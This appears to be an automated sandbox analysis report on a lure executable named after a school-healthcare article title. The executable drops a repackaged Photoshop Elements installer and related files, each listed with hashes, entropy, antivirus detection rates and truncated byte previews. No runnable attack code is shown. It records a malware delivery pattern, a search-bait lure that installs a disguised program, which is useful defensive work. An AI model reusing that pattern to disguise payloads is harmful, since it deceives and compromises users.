SHA1:	CBC6658BADEDA2AD9B0D2E03A0A35FF7FBBA542A
SHA-256:	CFDBD8A2AA463C11E483DC10C480ACD274E9786632F5571A3970E8A20A2D8237
SHA-512:	1161AFDBF6FC9B74421031FE6E139587F291FFAEC03CAE4AA76C1A86E10A69C7B1602ECBFBF60287CE8ED926377AD159992CDE605BA98E75B212E971B7E14F18
Malicious:	false
Preview:	wOFF..............X.........................BASE.......F...Fe$].DYNA............q.&`GPOS......=.....$.i.GSUB..Dx.........W..OS/2...x...Z...`\8..cmap...p..........X@cvt .......&...&...nfpgm...........s.Y.7gasp................glyf..R<...G..V d.P.head.......6...6.@..hhea.......#...$. ..hmtx..n........4C.].loca..x....\|...8.G.0maxp....... ... ....name...H........52..post..........-...prep...4...B...B.-................ideoromn..DFLT..cyrl..grek..latn...................\.........L.S.................7...}............x.].=N.0...8,..H..-+.+..R8.P.@(<.?.D..Hih\p..3]..`.....3......k..m.......L.. ...I ..U.I..8sl..w..dQ?..:.x.....o[...`..V.t...).Q.....s.....L./..L`.//..F..i.C..+=ctEc.h.. ....G..d...57..J..T...AYCC..;..`<1....b.OLDYTI..<..Q.a.5..=.....'5...$.k.................7.Wq<._.<..........c[......c.K.%...1..............x.R.n.@...i%.T.8p@..]..Z.1...DN...#..l.+.7..H.!.W.H.x...G`..V..O..~3......?..}...8.s.Z.......-.{.f...z....^...........<..:..q./.......=.R...]\|.~z..7....

C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp

Download File

Process:	C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	3157504
Entropy (8bit):	6.366572743788587
Encrypted:	false
SSDEEP:	49152:NWGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbO333l5:XtLutqgwh4NYxtJpkxhGl333L
MD5:	F386E39F745DF29C2619F21BCA6DAEB7
SHA1:	C9138A609BD645E9900D6DBE81F21F0F109784BE
SHA-256:	53E81F92037DE45F985ADA2D311B1BB075799ED674BE340A99829B54A8806193
SHA-512:	6DD83F6F5519BA13B7CFD84CA8D4DD5D21E37E92D0053C264A5B4840A7416545B76ACCED87EE891D4D83EBE600E7378F2841095053B88D1EDE68763E41788A37
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: WinterRoost_Bearfoos Malware.zip, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,.....&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	4616696
Entropy (8bit):	7.889902633304767
Encrypted:	false
SSDEEP:	98304:zEN1arTV6P79lzRhuET6WtjIiM+BVHv4EW2hkQc8yUDM8ERvBGzhVarMgeqxFMxx:gNQlm9lzRj3x/wlhbxFQDR/4Q
MD5:	43843D75A5EEAD8EE3B71EE2ADCBA3FE
SHA1:	980C1446B25652312010C86C661D20BDAD647FDC
SHA-256:	BAFD3E50FCBC0CF95C718E9BCE72012991883908EC02B62806E0A6A451864483
SHA-512:	90547D04EEBC6B5D250BB7F27E1EDA926A56CEBEF1591879DBC36FB2112985BFDB29478CA1925A8727701CD52CE879FA6C4B74CCE42649A3ADF4558E94558C54
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: WinterRoost_Bearfoos Malware.zip, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......i...-..-..-..9...>......>......0..9..........+......Y..C...%..9......9.../..9.....-..d.......J....j.,..-...,......,..Rich-..................PE..L...2^.c...............!.PE......@R.p....PR.......@..........................p.......[G...@.................................hi..........h............GF. ..<j..............................T.......t.........................M.....................UPX0.....@R.............................UPX1.....PE..PR..NE.................@....rsrc................RE.............@..............................................................................................................................................................................................................................................................................................................................................3.91.UPX!....

C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\data.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp
File Type:	data
Category:	dropped
Size (bytes):	943593
Entropy (8bit):	6.683286371944535
Encrypted:	false
SSDEEP:	24576:jv3J8Stk9f6g3Sw8N+JIIxa6tHq6JtYyYVr7VglM+kT:jG04Pi3NaIjOKuuyYVr7SlbA
MD5:	3F893C500BFCFF220640DB529EB18F37
SHA1:	4D063497249508D0C99D32FE6BFB8223D0A138F0
SHA-256:	26CC7078A0B8FD480708C4CF1B738524FCF24F729B181DDC4DB2F5D38AC1A681
SHA-512:	AEC39D4AD64D1E5D4445EAA6C298C770AFF9F7DC2B6D732C1A744EFB8FF31F1A4C63334A140120D2010A97CAB1020E6850F7E1A9E3509B47685FD9C8E0F86904
Malicious:	false
Preview:	, .9K..?..db...&+..Lc_Ob@Q.s.....$.9;\|[...).)8..q"..8..Gm..\|%.!O.4!#..6.O/(&z;S>)).Ge?.(.;..=9.J 15z.-1= 2>.y,..33.T!=$_ ,5.6...:r..#. +IKpw.-U>...)..$9..w&.....&...2j.C.,y~Q{t.....<..... ;.K7)...q&..6+....{)..(c..'y-q#!..3.q..*.k>.\|x<....G. %;.]...z..,Mi..}/.+5M( "!%.qu..:.9CV?&.'ba...1',%56qH....1/...Z9'.+2.0;.c1H0.#+_s%b.7.:p..zr@..a.55..'.<#-...<{R.(.!..).r)<.: ]..[Z.974.."86.F:T..k.--%.9.y)........Z6.j\|9.0.O\|.r+4-.1.-..}s.."z)....z.=9UL+q1'+. q7>.\|...1q.F"f.8=e...).'39.C...'...%.y."..(. ..._.>m.4......x%/.9..5&..\|?.5 ..; >.s ;.[.as2.Q..o4?)$..5p..=...&$..!{."..m./'>'5..7!...!+..$.%.!.3A..).0)`x&.2.6-.?..c~.q..#_6.[#s1{vgfW<..8.>......%..'5..#3..>....d?.0.j.{.(...4.(.z#...+.7(&%.D ..9.<?x@~'$3.;Ls+:.7..5.)..7.<07/d..5<..0.7.>Q1.!)>....\"7.A .+9". s.!/r22=......-...-'R@..1.#.9. .544..&j>.\|`9..\| C.\..'..2.8...I;8.&1u(c.4.$....p..X2.A.=.v/)..."..._..;L(07"...\|6.+..09... #'2H).:'$..oH9..{d$..?.Z)?EX?C./0<.<!7.?-%NnM./..)..q6_ (,..?m..%7."....3Q/..!...?*3 ?[..0.#..8.<(...-'..R

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\Config.xml

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	537
Entropy (8bit):	5.147241145555799
Encrypted:	false
SSDEEP:	12:TMHdtTyKAywopOGmNTWe7SJJnPd+p3mv9NhuaAi4HY2:2dtTgopj2GJJnPd+p3mvXB2
MD5:	9BF27F7E06B54FC3711224323D4FA105
SHA1:	F870330D52A34C4E3F475CE117E779A510FF3501
SHA-256:	195A6EEB37951C00E8A3CD3366F0BE21AB9AA4124379D5B8EC468A9368F477FD
SHA-512:	4727BE8B5C550F3B578360512FC243CA9599112B44088066F6204B09D30238BC51100E1B45DDD549DAE0F5990A924216CC0330AAB9B036B8AB445D44306BDEC0
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<Config>...<UIConfig>....<HideVersion>true</HideVersion>....<SkipLaunch>false</SkipLaunch>....<HidePIIScreen>false</HidePIIScreen>....<ShowInstallOptions>true</ShowInstallOptions>....<CarouselType>GenericCarousel</CarouselType>....<SkipAccLaunch>true</SkipAccLaunch>....<LaunchProductDetail>.....<ProductInfo>......<SAPCode>HPSE</SAPCode>......<BaseVersion>24.0</BaseVersion> ......<Platform>win64</Platform>.....</ProductInfo>....</LaunchProductDetail>...</UIConfig>..</Config>..

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\Dictionary\en_US.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	Unicode text, UTF-16, little-endian text
Category:	dropped
Size (bytes):	72894
Entropy (8bit):	3.39022096760406
Encrypted:	false
SSDEEP:	1536:tPlV2A9AdAu/Cav44aej0H4FlhoVhJBgdjdI:nibC4XhoVhJBgdjdI
MD5:	971F2873438B01FDE7253D4C7AA9847D
SHA1:	0770D352F1D64C68EF7F044421572E52C6A11613
SHA-256:	3059720FFB1B37E79F60F252F4CA4B438C49ABA0BF5B7CC8EAEF28023635E480
SHA-512:	AFDC5C2150A9BBF653D55C4D1BECD484D2FB5AC6618F1B2214E27086D52CFDE72DD30DE7E0ABDA3BFD17383162CAE3B7993F9957B3D38CB52C680AAE8581BCE2
Malicious:	false
Preview:	..{... . . . .".W.i.n.d.o.w.T.i.t.l.e.".:. .{... . . . . . . . .".m.e.s.s.a.g.e.".:. .".{.0.}. .I.n.s.t.a.l.l.e.r."... . . . .}.,... . . . .".V.e.r.s.i.o.n.".:. .{... . . . . . . . .".m.e.s.s.a.g.e.".:. .".V.e.r.s.i.o.n."... . . . .}.,... . . . .".W.i.n.d.o.w.T.i.t.l.e.U.n.i.n.s.t.a.l.l.e.r.".:. .{... . . . . . . . .".m.e.s.s.a.g.e.".:. .".{.0.}. .U.n.i.n.s.t.a.l.l.e.r."... . . . .}.,.....".W.i.n.d.o.w.T.i.t.l.e.U.p.d.a.t.e.r.".:. .{... . . . . . . . .".m.e.s.s.a.g.e.".:. .".{.0.}. .U.p.d.a.t.e.r."... . . . .}.,... . . . .".W.i.n.d.o.w.T.i.t.l.e.P.a.c.k.a.g.e.D.o.w.n.l.o.a.d.e.r.".:. .{... . . . . . . . .".m.e.s.s.a.g.e.".:. .".A.d.o.b.e. .P.a.c.k.a.g.e. .D.o.w.n.l.o.a.d.e.r."... . . . .}.,... . . . .".T.y.p.e.3.W.i.n.d.o.w.T.i.t.l.e.".:. .{... . . . . . . . .".m.e.s.s.a.g.e.".:. .".E.n.t.e.r.p.r.i.s.e. .I.D. .S.i.g.n. .i.n."... . . . .}.,... . . . .".M.e.n.u.A.d.o.b.e. .I.n.s.t.a.l.l.e.r.".:. .{... . . . . . . . .".m.e.s.s.a.g.e.".:. .".A.d.o.b.e. .I.n.s.t.a.l.l.e.r."... . . . .}.,...

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\Driver.xml

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1068), with no line terminators
Category:	dropped
Size (bytes):	1068
Entropy (8bit):	5.074929409079747
Encrypted:	false
SSDEEP:	24:2dttE3cRWpWCBywhWvaA0RLWrLzLQLkL94L+qlLoLAlL31E:cakCtahqvU
MD5:	647440680B370D4F3EB00ED7D14F1EFF
SHA1:	8CD6C56BA650002DBA1AFA99881E7C61A51DF19A
SHA-256:	4A0794B26A5EE3BED281588B4035FDAB12A55578107C65638DEB678AB8776EBA
SHA-512:	1A08AC6E8B1DA74604F38D37FA59ADA9E13D787CF80E5406A30BFFD7AC115AE5A466A1242C238FF7F5C8E597008D60C69536F1AB5E68DBC68307A31ECCF5D753
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?><DriverInfo><ProductInfo><Name>Adobe Photoshop Elements 2024</Name><SAPCode>PSE</SAPCode><CodexVersion>24.0</CodexVersion><BaseVersion>24.0</BaseVersion><Platform>win64</Platform><Dependencies><Dependency><SAPCode>EORG</SAPCode><BaseVersion>24.0</BaseVersion></Dependency><Dependency><SAPCode>HPSE</SAPCode><BaseVersion>24.0</BaseVersion></Dependency><FFCChannel>nocc_sti2</FFCChannel></Dependencies><IsNonCCProduct>true</IsNonCCProduct><IsNglEnabled>true</IsNglEnabled><SupportedLanguages><Language locale="cs_CZ"></Language><Language locale="de_DE"></Language><Language locale="en_US"></Language><Language locale="es_ES"></Language><Language locale="fr_FR"></Language><Language locale="it_IT"></Language><Language locale="ja_JP"></Language><Language locale="nl_NL"></Language><Language locale="pl_PL"></Language><Language locale="sv_SE"></Language></SupportedLanguages><MinimumSupportedRuntimeVersion>5.6.0.0</MinimumSupportedRuntimeVersion><H

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1605030
Entropy (8bit):	7.998585570940298
Encrypted:	true
SSDEEP:	24576:eYpOnuDPhMESpTfXcGiJjnTd2GiIHhXlwQV2GsAoth6oqx1KKqZ5vvPDhMCLOrzB:CuDPaZX7wnTYAB12GsTtwoqx85lZOroQ
MD5:	0BD7470ADF34ECED0D063F0D8766BFB1
SHA1:	6AF155B51CEB61221CEEC01F2E08D6F3BFE17975
SHA-256:	8AEF2EA22DF7060EA34F2F1A94EE63D337C816BBA47B80B7EB70B1FE52550D2C
SHA-512:	2F3CACC96C06B22169C07AAB7FD1812784FA7BAB977DEC4D22290EFB0B3B982079C83B520087BE6E17AA65AA59C4FD6A89AD45716E900E87BC80C4EE3778C781
Malicious:	true
Preview:	PK........A?7W................Dictionary/PK........A?7W................css/PK........A?7W................images/PK........A?7W................lib/PK.........+7W...&............carousel.js.U]o.8.\|...@....}...iS..@..."....}.}.+1...i.tl.....>,9qU...,s.........[.Lh.N..Sr....R..}E........58<8<(.U.}=<@.&.?%.%.tP.D..CC.0..Mh.4K..[x!8.bk............8. tDp...[6.:.H..-....#n..[.. ...7Y.-.%y..ovN.0...<.!N..+;_.Kr...........j>..>[.}..U(WwfQ.G..#.z\|+D.........yU..(.J..i.S.x/.DxV.q.G.dGL.:..N......l.S.K...u.{....s...xT......s7.Q)..d.....,....R.+.jRK....0..,..w.g.....x.t8Dg...2=.1.KM...3.u.+...BhG.xL...X..>.....~.............."....d:.9].......byV.......V.=.....'...g3.:9~..!.....s.[....L.2..3........m+F./..$L/.Qm...2..k.q...... ..>....x!..9)P&p..M;N.'C.z:...\@.\Ih.H..?N..d..8.i.K...$u.N...RN.1fC.DGfL...%u...:...X..%Wp.t$.6.5..2.-...).v<.R.4m......;..Q..Z.T.O$+!..:7q..l.DhX..M..+.Y.V6..'f{2v..,..{4.K...ZA..+..&......s....7..8.X).1.Y..Z.....Stt..E....1....'83$.>.%0

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\Dictionary\cs_cz\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1015
Entropy (8bit):	5.284650663061944
Encrypted:	false
SSDEEP:	24:M0X5cRWm36aKQgO3lcQgj8fPJmKhxRR+SPoy1KaY4ScBhPbxZtqy3Ui:l566JQgC7gYfPRhx6SPo1/LcXNZtp
MD5:	44DB45EFBB65BAC062FB7C8B849A203D
SHA1:	00E75EA3FADB83DFC42616DEDF831F6BF8017EDC
SHA-256:	3D4D96649072E293B76A41A497B19BC48811B2C8BE9D2742255B96751BC09FEB
SHA-512:	683D31755D68816B6CD575956C2161FF92A89C4B8C6D188683E435E6C4BE5DA621FF9819DA65EFB524C1983395154DA8DAE98ED94F236A71517BF13CE519A64B
Malicious:	false
Preview:	{.. "Name": "V.ukov. lekce k aplikaci Photoshop Elements",.. "SubTitle": "Za.n.te, nau.te se z.klady a nechte se inspirovat.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64bitov. verze) (minim.ln. po.adavek)",.. "OperatingSystemMac": "Mac OS 10.12 (minim.ln. po.adavek)",.. "Memory": "Instalace aplikace vy.aduje alespo. 4 GB pam.ti RAM",.. "TextSlide1": "Sjedno.te barvu a.t.n s.jinou fotografi. nebo vyu.ijte p.ednastaven..",.. "TextSlide2": "Vytvo.te stylizovan. text za p.r sekund.",.. "TextSlide3": "Vytv..ejte a sd.lejte foto p.sma ve form.tu MP4.",.. "TextSlide4": "Jedn.m kliknut.m vyb.rejte oblohu nebo pozad.. ",.. "TextSlide5": "Nov., osv..en. podoba - se sv.tl.mi a tmav.mi re.imy.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panel Rychl. akce pro .pravy jedn.m kliknut.m",.. "TextSlide8": "Integrace slu.by Adobe Stock",.. "TextSlide9": "Aktualizace webov. a.mobiln. verze ",.. "TextSlide10": "(betaverze pouze v.an

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\Dictionary\de_de\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	946
Entropy (8bit):	4.953889317998113
Encrypted:	false
SSDEEP:	24:ARWqWN36awP3lc90XpYn9VVRndMMAEBzSKhm5tG9kx:vX6hfyXn9523GI5tV
MD5:	1FBC842F9A1E6F76E6ACF661816FE62E
SHA1:	D8B0EC6941246B4B423C1A15467EFBCAEC8121A7
SHA-256:	5D6ABD25084CBF6F04D54C0164E5E0B3F89D969A91E2E850C7DAE77588E571B8
SHA-512:	58A0A04E76B0D0F35EAA01B03F37DFBBEDD60279FFCCB26CC4FD34F6562DD8ECA8CF1891578861A06C393AA82A5E41537618D6598E4080264FBB1B4C7B024170
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements . Tutorials",.. "SubTitle": "Erste Schritte, Grundlagen, Inspirationen.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-Bit) (mindestens erforderlich)",.. "OperatingSystemMac": "Mac OS 10.12 (mindestens erforderlich)",.. "Memory": "Sie ben.tigen mindestens 4 GB RAM, um die Anwendung zu installieren",.. "TextSlide1": "An Farbe und Ton eines anderen Fotos anpassen oder Vorgaben nutzen.",.. "TextSlide2": "Stilisierten Text in Sekundenschnelle erstellen.",.. "TextSlide3": "MP4-Foto-Reel erstellen und teilen.",.. "TextSlide4": "Einen Himmel oder Hintergrund per Mausklick ausw.hlen.",.. "TextSlide5": "Neuer, frischer Look . mit Hell- und Dunkel-Modi.",.. "TextSlide6": "Plus",.. "TextSlide7": "Schnellaktionen zur kinderleichten Bearbeitung",.. "TextSlide8": "Integration mit Adobe Stock",.. "TextSlide9": "Web- und Mobil-Updates ",.. "TextSlide10": "(Beta nur in englischer Sprache)"..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\Dictionary\en_US\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	5.02637898118712
Encrypted:	false
SSDEEP:	24:RMRWsRVg6aE3lchllo8ElVwsa5kHgN7FYtQ:RDso6vEWRl6RyANh
MD5:	BA0A234966CC8F97101F456C96AC4632
SHA1:	8D00C13D7EF727210996BAD946F763B9FDB69FB0
SHA-256:	168D3D6C0C91C0850865733EB244760F6BB3DE0902395A443AFC44B02592A048
SHA-512:	391F67878830E4C907EEB5A387B94E411A9862559677264AC18A19A36840035520DE7E40B5BEE041483C1AC6B66D3ABDD389E7502C423D6FC701AB2088580D6E
Malicious:	false
Preview:	{..."Name":."Photoshop Elements tutorials",..."SubTitle":."Get started, get the essentials, get inspired.",..."Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (Minimum required)",.. "OperatingSystemMac": "Mac OS 10.12 (Minimum required)",.. "Memory": "You need minimum 4Gb RAM to install the application",..."TextSlide1": "Match the color & tone from another photo or use presets.",..."TextSlide2": "Create stylized text in seconds.",..."TextSlide3": "Create & share MP4 Photo Reels.",..."TextSlide4": "One-click to select a sky or background.",..."TextSlide5": "New refreshed look . with light and dark modes.",..."TextSlide6": "Plus",..."TextSlide7": "Quick Actions panel for one-click edits",..."TextSlide8": "Adobe Stock integration",..."TextSlide9": "Web & mobile updates ",..."TextSlide10": "(English-only beta)"..}..

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\Dictionary\es_es\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	970
Entropy (8bit):	4.889772694170443
Encrypted:	false
SSDEEP:	24:ycRW05836yd3lcsRmz42/gcA69PAHxZDx8lHntBKvsI:qYY6evB2/GWlHntBAsI
MD5:	6D77FA7C087128F0DDACB5D1C86C95E2
SHA1:	668E0CA6D419FA09A4DB81BC8469BAF686835A46
SHA-256:	320A7B8CD564064EC11925C96F0F323B19FFC82440439C4B87ABFF59A658F1E5
SHA-512:	2F66150B342F41F2968B44001EE53F6457081DD58A715DDF68DFFAE3B5213643AA7BB6435E7DFDAB518533EFDD0A407412B8DF9948A7CAAB14A34BE6C6377CDC
Malicious:	false
Preview:	{.. "Name": "Tutoriales de Photoshop Elements",.. "SubTitle": "Empiece, descubra los fundamentos y encuentre inspiraci.n.",.. "Operating1xWin": "Windows 7 con Service Pack 1 (64 bits) (m.nimo requerido)",.. "OperatingSystemMac": "Mac OS 10.12 (m.nimo requerido)",.. "Memory": "Se necesita un m.nimo de 4.GB de RAM para instalar la aplicaci.n",.. "TextSlide1": "Combine el color y el tono de otra foto, o bien utilice ajustes preestablecidos.",.. "TextSlide2": "Cree un texto estilizado en segundos.",.. "TextSlide3": "Cree y comparta reels de fotos en MP4.",.. "TextSlide4": "Haga clic una vez para seleccionar un cielo o fondo.",.. "TextSlide5": "Nuevo estilo renovado con modos claro y oscuro.",.. "TextSlide6": "M.s",.. "TextSlide7": "Panel Acciones r.pidas para realizar ediciones con un solo clic",.. "TextSlide8": "Integraci.n con Adobe Stock",.. "TextSlide9": "Actualizaciones web y m.viles ",.. "TextSlide10": "(Beta solo en ingl.s)"..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\Dictionary\fr_fr\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1027
Entropy (8bit):	5.00331328127714
Encrypted:	false
SSDEEP:	24:x6cRWqKJ36hxMM3lQCidzBjNR2NPjyFBWdsBXJKAvE1uoXutXUB9Rn:gqKB6hxt+B1jNR2NVdsBZrvNyutkpn
MD5:	CC854F1036F7591BF00E2AFEB465F659
SHA1:	60457317A8F7F241C3F94595C13E37F4A8DC3352
SHA-256:	67A1C6394300FB01B4DF5C8D1ECCA0AB026797BD2C1BEB09084BEA356DF89754
SHA-512:	8A26F56E1E6861C1CFCF07F8349AD0F32FC60D962E5433997B7F6F8B7D361F172A8CDB9717297EC91ECD7989A88B1A93D696382BA5852723528DBACD50F70D8E
Malicious:	false
Preview:	{.. "Name": "Tutoriels Photoshop Elements",.. "SubTitle": "Lancez-vous, saisissez l'essentiel, soyez inspir..",.. "Operating1xWin": "Windows.7.Service.Pack.1 (64.bits) (minimum requis)",.. "OperatingSystemMac": "Mac.OS.10.12 (minimum requis)",.. "Memory": "Vous avez besoin de 4.Go de m.moire vive minimum pour installer l'application.",.. "TextSlide1": "Faites correspondre la couleur et le ton d.une autre photo ou utilisez des param.tres pr.d.finis.",.. "TextSlide2": "Cr.ez du texte stylis. en quelques secondes.",.. "TextSlide3": "Cr.ez et partagez des Bobines de photos MP4.",.. "TextSlide4": "Un seul clic pour s.lectionner un ciel ou un arri.re-plan.",.. "TextSlide5": "Nouveau look revisit. avec les modes clair et fonc..",.. "TextSlide6": "Plus",.. "TextSlide7": "Panneau Actions rapides pour les modifications en un clic",.. "TextSlide8": "Int.gration dans Adobe Stock",.. "TextSlide9": "Mises . jour Web et mobiles ",.. "TextSlide10": "(Version beta

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\Dictionary\it_it\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	970
Entropy (8bit):	4.801728131561229
Encrypted:	false
SSDEEP:	24:Ym3cRWV9z36aMR13lcqR+8WI69y/2TEeeQIMcwmx4LeJqASUtXIH:JDP61FBvWI693IA5ASUtXo
MD5:	37879C31149C21FB5DF9DAADCD67E909
SHA1:	20E314739D229E4B5DA2AF435BB0F251C06DB0C9
SHA-256:	17AC21F4AD75970E29C644CAC412483B4AB3B5611807E6C963FB72189AD9989B
SHA-512:	CF29AC25D8DE0E0AD658B02AF25A0B88CE643F26679BE2B3F2E944E4B558FACBA94804CC88C32F550395708D0BDA003AD09FCBBFA2A9FA8FB70820F7775E0113
Malicious:	false
Preview:	{.. "Name": "Esercitazioni di Photoshop Elements",.. "SubTitle": "Iniziate, raccogliete tutto ci. che vi serve e lasciatevi ispirare.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64 bit) (versione minima richiesta)",.. "OperatingSystemMac": "Mac OS 10.12 (versione minima richiesta)",.. "Memory": "Sono necessari almeno 4 Gb di RAM per installare l'applicazione",.. "TextSlide1": "Abbina il colore e il tono di un'altra foto o utilizza le preimpostazioni.",.. "TextSlide2": "Crea testo stilizzato in pochi secondi.",.. "TextSlide3": "Crea e condivi i reel di foto in MP4.",.. "TextSlide4": "Fai clic per selezionare un cielo o uno sfondo.",.. "TextSlide5": "Look rinnovato, con modalit. luce e buio.",.. "TextSlide6": "Pi.",.. "TextSlide7": "Pannello Azioni rapide per modifiche con un clic",.. "TextSlide8": "Integrazione con Adobe stock",.. "TextSlide9": "Aggiornamenti Web e per dispositivi mobili ",.. "TextSlide10": "(Beta solo in inglese)"..}

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\Dictionary\ja_jp\locale.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1127
Entropy (8bit):	5.56961836864283
Encrypted:	false
SSDEEP:	24:ARWOlFK2G5e36asK3lc32QV6XGS8kDqbzEzxQciMCj7EOL0uo8fJNoNYnXe8r:va0h5y65mA2N8hWu5pzxWNYnuo
MD5:	C31570E7CCB0FC3A4236B98ABBD0CC08
SHA1:	33AFEC87102C157C7A7B80D0058F40F591E0BBC3
SHA-256:	E645B23E361162F77EDB93AC9028F094C8CC316B2B9AAB88EA4690D43F554BFE
SHA-512:	6B3A2FF37B7EE09BB5FA55DE7F072647DE4F3A54E003C4D08860AB4335E3E2EBB0AB9D483AA853A77D46B2C65F02FCD7CBB5FD12B98C9A88F976D5E64759C035
Malicious:	false
Preview:	{.. "Name": "Photoshop Elements .......",.. "SubTitle": "........................",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (..)",.. "OperatingSystemMac": "Mac OS 10.12 (..)",.. "Memory": "...................... 4GB . RAM ......",.. "TextSlide1": "................................",.. "TextSlide2": "....................",.. "TextSlide3": "MP4 .................",.. "TextSlide4": "1 ....................",.. "TextSlide5": "........................",.. "TextSlide6": "...",.. "TextSlide7": "..............................",.. "TextSlide8": "Adobe Stock

C:\Users\user\AppData\Local\Temp\{46C04F56-8A46-4F65-B643-07DB857C6418}\carousel\Dictionary\ko_kr\locale.json

Download File

